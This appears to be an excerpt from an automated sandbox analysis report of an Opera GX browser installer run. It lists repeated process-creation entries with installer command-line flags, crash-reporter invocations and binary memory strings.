      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: unknown unknown
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeFile opened: Windows Firewall: C:\Windows\System32\FirewallAPI.dll
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeFile opened: Windows Firewall: C:\Windows\System32\FirewallAPI.dll
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe --silent --allusers=0 --server-tracking-blob=y2q3mwviytblm2rlzjljmtnkmzrhmtu1mjzjotizy2njngjhnzvlzgfimgiyodblzte0ymqzy2iymtewyjezzjp7imnvdw50cnkioijvuyisimvkaxrpb24ioijzdgqtmiisimluc3rhbgxlcl9uyw1lijoit3blcmfhwfnldhvwlmv4zsisinbyb2r1y3qioijvcgvyyv9necisinf1zxj5ijoil29wzxjhx2d4l3n0ywjszs9lzgl0aw9ul3n0zc0yp3v0bv9zb3vyy2u9ufdoz2ftzxmmdxrtx21lzgl1bt1wysz1dg1fy2ftcgfpz249ufdox1vtx1bcm19erf8znjyxjnv0bv9pzd0yymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosz1dg1fy29udgvudd0znjyxxzi5mtailcj0aw1lc3rhbxaioiixnzi4oda0ntcyljmymdmilcj1c2vyywdlbnqioijjbm5vrg93bmxvywrqbhvnaw4vms41iiwidxrtijp7imnhbxbhawduijoiufdox1vtx1bcm19erf8znjyxiiwiy29udgvudci6ijm2njffmjkxmcisimlkijoimmjhzmrlzji2nde4ndaymtkxntvlota5ngyyzwqzytkilcjtzwrpdw0ioijwysisinnvdxjjzsi6ilbxtmdhbwvzin0sinv1awqioijmzdnlzmvkyy1iodexltqxmdgtyti0mc05n2yyzgi0zdbly2uifq==
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x69288c0c,0x69288c18,0x69288c24
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe "c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="c:\users\user\appdata\local\programs\opera gx" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="c:\users\user~1\appdata\local\temp\.opera\opera gx installer temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=mzm3ymqymjk0nzzinwy1yjbkngy0otgwmdk2zjuyogeynmi5zmfln2uxntjintzkywzhzdvhyjk3nwfjmjmwotp7imnvdw50cnkioijvuyisimvkaxrpb24ioijzdgqtmiisimluc3rhbgxlcl9uyw1lijoit3blcmfhwfnldhvwlmv4zsisinbyb2r1y3qionsibmftzsi6im9wzxjhx2d4in0sinf1zxj5ijoil29wzxjhx2d4l3n0ywjszs9lzgl0aw9ul3n0zc0yp3v0bv9zb3vyy2u9ufdoz2ftzxmmdxrtx21lzgl1bt1wysz1dg1fy2ftcgfpz249ufdox1vtx1bcm19erf8znjyxjnv0bv9pzd0yymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosz1dg1fy29udgvudd0znjyxxzi5mtailcjzexn0zw0ionsicgxhdgzvcm0ionsiyxjjaci6ing4nl82ncisim9wc3lzijoiv2luzg93cyisim9wc3lzlxzlcnnpb24ioiixmcisinbhy2thz2uioijfweuifx0sinrpbwvzdgftcci6ije3mjg4mdq1nziumziwmyisinvzzxjhz2vudci6iklubm9eb3dubg9hzfbsdwdpbi8xljuilcj1dg0ionsiy2ftcgfpz24ioijqv05fvvnfueizx0rexzm2njeilcjjb250zw50ijoimzy2mv8yotewiiwiawqioiiyymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosisim1lzgl1bsi6inbhiiwic291cmnlijoiufdoz2ftzxmifswidxvpzci6imzkm2vmzwrjlwi4mtetndewoc1hmjqwltk3zjjkyjrkmgvjzsj9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=e805000000000000
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x340,0x344,0x348,0x304,0x30c,0x68488c0c,0x68488c18,0x68488c24
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "c:\users\user~1\appdata\local\temp\.opera\opera gx installer temp\opera_package_202410130431041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktopgx --annotation=ver=73.0.3856.382 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x8a4f48,0x8a4f58,0x8a4f64
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\installer.exe" --backend --initial-pid=7884 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="c:\users\user\appdata\local\programs\opera gx" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --package-dir="c:\users\user~1\appdata\local\temp\.opera\opera gx installer temp\opera_package_202410130431041" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=mzm3ymqymjk0nzzinwy1yjbkngy0otgwmdk2zjuyogeynmi5zmfln2uxntjintzkywzhzdvhyjk3nwfjmjmwotp7imnvdw50cnkioijvuyisimvkaxrpb24ioijzdgqtmiisimluc3rhbgxlcl9uyw1lijoit3blcmfhwfnldhvwlmv4zsisinbyb2r1y3qionsibmftzsi6im9wzxjhx2d4in0sinf1zxj5ijoil29wzxjhx2d4l3n0ywjszs9lzgl0aw9ul3n0zc0yp3v0bv9zb3vyy2u9ufdoz2ftzxmmdxrtx21lzgl1bt1wysz1dg1fy2ftcgfpz249ufdox1vtx1bcm19erf8znjyxjnv0bv9pzd0yymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosz1dg1fy29udgvudd0znjyxxzi5mtailcjzexn0zw0ionsicgxhdgzvcm0ionsiyxjjaci6ing4nl82ncisim9wc3lzijoiv2luzg93cyisim9wc3lzlxzlcnnpb24ioiixmcisinbhy2thz2uioijfweuifx0sinrpbwvzdgftcci6ije3mjg4mdq1nziumziwmyisinvzzxjhz2vudci6iklubm9eb3dubg9hzfbsdwdpbi8xljuilcj1dg0ionsiy2ftcgfpz24ioijqv05fvvnfueizx0rexzm2njeilcjjb250zw50ijoimzy2mv8yotewiiwiawqioiiyymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosisim1lzgl1bsi6inbhiiwic291cmnlijoiufdoz2ftzxmifswidxvpzci6imzkm2vmzwrjlwi4mtetndewoc1hmjqwltk3zjjkyjrkmgvjzsj9 --silent --desktopshortcut=1 --install-subfolder=114.0.5282.93
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x258,0x278,0x27c,0x254,0x280,0x7ffb0c359d80,0x7ffb0c359d8c,0x7ffb0c359d98
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1d8,0x1e8,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe "c:\users\user\appdata\local\programs\opera gx\autoupdate\opera_autoupdate.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff7c794669c,0x7ff7c79466a8,0x7ff7c79466b8
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1e4,0x1f4,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe --silent --allusers=0 --server-tracking-blob=y2q3mwviytblm2rlzjljmtnkmzrhmtu1mjzjotizy2njngjhnzvlzgfimgiyodblzte0ymqzy2iymtewyjezzjp7imnvdw50cnkioijvuyisimvkaxrpb24ioijzdgqtmiisimluc3rhbgxlcl9uyw1lijoit3blcmfhwfnldhvwlmv4zsisinbyb2r1y3qioijvcgvyyv9necisinf1zxj5ijoil29wzxjhx2d4l3n0ywjszs9lzgl0aw9ul3n0zc0yp3v0bv9zb3vyy2u9ufdoz2ftzxmmdxrtx21lzgl1bt1wysz1dg1fy2ftcgfpz249ufdox1vtx1bcm19erf8znjyxjnv0bv9pzd0yymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosz1dg1fy29udgvudd0znjyxxzi5mtailcj0aw1lc3rhbxaioiixnzi4oda0ntcyljmymdmilcj1c2vyywdlbnqioijjbm5vrg93bmxvywrqbhvnaw4vms41iiwidxrtijp7imnhbxbhawduijoiufdox1vtx1bcm19erf8znjyxiiwiy29udgvudci6ijm2njffmjkxmcisimlkijoimmjhzmrlzji2nde4ndaymtkxntvlota5ngyyzwqzytkilcjtzwrpdw0ioijwysisinnvdxjjzsi6ilbxtmdhbwvzin0sinv1awqioijmzdnlzmvkyy1iodexltqxmdgtyti0mc05n2yyzgi0zdbly2uifq==Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x324,0x328,0x32c,0x300,0x330,0x69288c0c,0x69288c18,0x69288c24Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe "c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="c:\users\user\appdata\local\programs\opera gx" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --initial-pid=7884 --package-dir-prefix="c:\users\user~1\appdata\local\temp\.opera\opera gx installer temp\opera_package_20241013043104" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=mzm3ymqymjk0nzzinwy1yjbkngy0otgwmdk2zjuyogeynmi5zmfln2uxntjintzkywzhzdvhyjk3nwfjmjmwotp7imnvdw50cnkioijvuyisimvkaxrpb24ioijzdgqtmiisimluc3rhbgxlcl9uyw1lijoit3blcmfhwfnldhvwlmv4zsisinbyb2r1y3qionsibmftzsi6im9wzxjhx2d4in0sinf1zxj5ijoil29wzxjhx2d4l3n0ywjszs9lzgl0aw9ul3n0zc0yp3v0bv9zb3vyy2u9ufdoz2ftzxmmdxrtx21lzgl1bt1wysz1dg1fy2ftcgfpz249ufdox1vtx1bcm19erf8znjyxjnv0bv9pzd0yymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosz1dg1fy29udgvudd0znjyxxzi5mtailcjzexn0zw0ionsicgxhdgzvcm0ionsiyxjjaci6ing4nl82ncisim9wc3lzijoiv2luzg93cyisim9wc3lzlxzlcnnpb24ioiixmcisinbhy2thz2uioijfweuifx0sinrpbwvzdgftcci6ije3mjg4mdq1nziumziwmyisinvzzxjhz2vudci6iklubm9eb3dubg9hzfbsdwdpbi8xljuilcj1dg0ionsiy2ftcgfpz24ioijqv05fvvnfueizx0rexzm2njeilcjjb250zw50ijoimzy2mv8yotewiiwiawqioiiyymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosisim1lzgl1bsi6inbhiiwic291cmnlijoiufdoz2ftzxmifswidxvpzci6imzkm2vmzwrjlwi4mtetndewoc1hmjqwltk3zjjkyjrkmgvjzsj9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=e805000000000000Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exe c:\users\user~1\appdata\local\temp\7zsc6e64e0a\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x340,0x344,0x348,0x304,0x30c,0x68488c0c,0x68488c18,0x68488c24Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\installer.exe" --backend --initial-pid=7884 --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --vought_browser=0 --launchopera=1 --installfolder="c:\users\user\appdata\local\programs\opera gx" --profile-folder --language=en-gb --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --server-tracking-data=server_tracking_data --package-dir="c:\users\user~1\appdata\local\temp\.opera\opera gx installer temp\opera_package_202410130431041" --session-guid=f5f8173d-e790-498e-903f-765161af7b2d --server-tracking-blob=mzm3ymqymjk0nzzinwy1yjbkngy0otgwmdk2zjuyogeynmi5zmfln2uxntjintzkywzhzdvhyjk3nwfjmjmwotp7imnvdw50cnkioijvuyisimvkaxrpb24ioijzdgqtmiisimluc3rhbgxlcl9uyw1lijoit3blcmfhwfnldhvwlmv4zsisinbyb2r1y3qionsibmftzsi6im9wzxjhx2d4in0sinf1zxj5ijoil29wzxjhx2d4l3n0ywjszs9lzgl0aw9ul3n0zc0yp3v0bv9zb3vyy2u9ufdoz2ftzxmmdxrtx21lzgl1bt1wysz1dg1fy2ftcgfpz249ufdox1vtx1bcm19erf8znjyxjnv0bv9pzd0yymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosz1dg1fy29udgvudd0znjyxxzi5mtailcjzexn0zw0ionsicgxhdgzvcm0ionsiyxjjaci6ing4nl82ncisim9wc3lzijoiv2luzg93cyisim9wc3lzlxzlcnnpb24ioiixmcisinbhy2thz2uioijfweuifx0sinrpbwvzdgftcci6ije3mjg4mdq1nziumziwmyisinvzzxjhz2vudci6iklubm9eb3dubg9hzfbsdwdpbi8xljuilcj1dg0ionsiy2ftcgfpz24ioijqv05fvvnfueizx0rexzm2njeilcjjb250zw50ijoimzy2mv8yotewiiwiawqioiiyymfmzgvmmjy0mtg0mdixote1nwu5mdk0zjjlzdnhosisim1lzgl1bsi6inbhiiwic291cmnlijoiufdoz2ftzxmifswidxvpzci6imzkm2vmzwrjlwi4mtetndewoc1hmjqwltk3zjjkyjrkmgvjzsj9 --silent --desktopshortcut=1 --install-subfolder=114.0.5282.93Jump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeProcess created: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exe "c:\users\user~1\appdata\local\temp\.opera\opera gx installer temp\opera_package_202410130431041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=stable --annotation=plat=win32 --annotation=prod=operadesktopgx --annotation=ver=73.0.3856.382 --initial-client-data=0x270,0x274,0x278,0x24c,0x27c,0x8a4f48,0x8a4f58,0x8a4f64Jump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x258,0x278,0x27c,0x254,0x280,0x7ffb0c359d80,0x7ffb0c359d8c,0x7ffb0c359d98
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1d8,0x1e8,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exe "c:\users\user\appdata\local\programs\opera gx\autoupdate\opera_autoupdate.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x22c,0x230,0x234,0x208,0x238,0x7ff7c794669c,0x7ff7c79466a8,0x7ff7c79466b8
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess created: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_crashreporter.exe "c:\users\user\appdata\local\programs\opera gx\114.0.5282.93\opera_crashreporter.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=c:\users\user\appdata\roaming\opera software\opera gx stable\crash reports" "--crash-count-file=c:\users\user\appdata\roaming\opera software\opera gx stable\crash_count.txt" --url=https://crashstats-collector-2.opera.com/ --annotation=channel=stable --annotation=plat=win64 --annotation=prod=operadesktopgx --annotation=ver=114.0.5282.93 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1e4,0x1f4,0x7ffb0accac08,0x7ffb0accac18,0x7ffb0accac28
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeCode function: 19_2_0040247A AllocateAndInitializeSid,CheckTokenMembership,FreeSid,19_2_0040247A
      Source: installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpBinary or memory string: Cannot get the size of file version infoNo file version in the package\StringFileInfo\000004B0\ProductVersionNo product version value in the packageReceived an invalid version: \StringFileInfo\000004B0\ContinuousVersionReceived an invalid continuous build number: Cannot acquire internal version from the full version: \StringFileInfo\000004B0\StreamNo stream value in the packageCannot get exe output: version..\..\opera\desktop\windows\installer\common\file_version_utils_impl.ccInvalid version from exe: Cannot get exe output: streamCannot get app output Failed to run the elevated process: Failed wait for the elevated process: Unexpected result when waiting for elevated process: Shortcut element - no correct interface...\..\opera\desktop\windows\installer\common\pin_automator.ccDoneCannot get native menu handle.Cannot get desktop rect.Cannot find pin menu element.Could not activate the menu item.ProgmanSysListView324
      Source: installer.exe, installer.exe, 00000017.00000002.3349270548.000001F1A2768000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Progman
      Source: installer.exe, 00000017.00000002.3349270548.000001F1A2768000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Shell_TrayWndd
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: Cannot get the size of file version infoNo file version in the package\StringFileInfo\000004B0\ProductVersionNo product version value in the packageReceived an invalid version: \StringFileInfo\000004B0\ContinuousVersionReceived an invalid continuous build number: Cannot acquire internal version from the full version: \StringFileInfo\000004B0\StreamNo stream value in the packageCannot get exe output: version..\..\opera\desktop\windows\installer\common\file_version_utils_impl.ccInvalid version from exe: Cannot get exe output: streamCannot get app output Failed to run the elevated process: Failed wait for the elevated process: Unexpected result when waiting for elevated process: Shortcut element - no correct interface...\..\opera\desktop\windows\installer\common\pin_automator.ccDoneCannot get native menu handle.Cannot get desktop rect.Cannot find pin menu element.No rectangleCould not activate the menu item.ProgmanSysListView324
      Source: installer.exe, 00000017.00000002.3349270548.000001F1A26C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager_1
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_00829EB0 cpuid 20_2_00829EB0
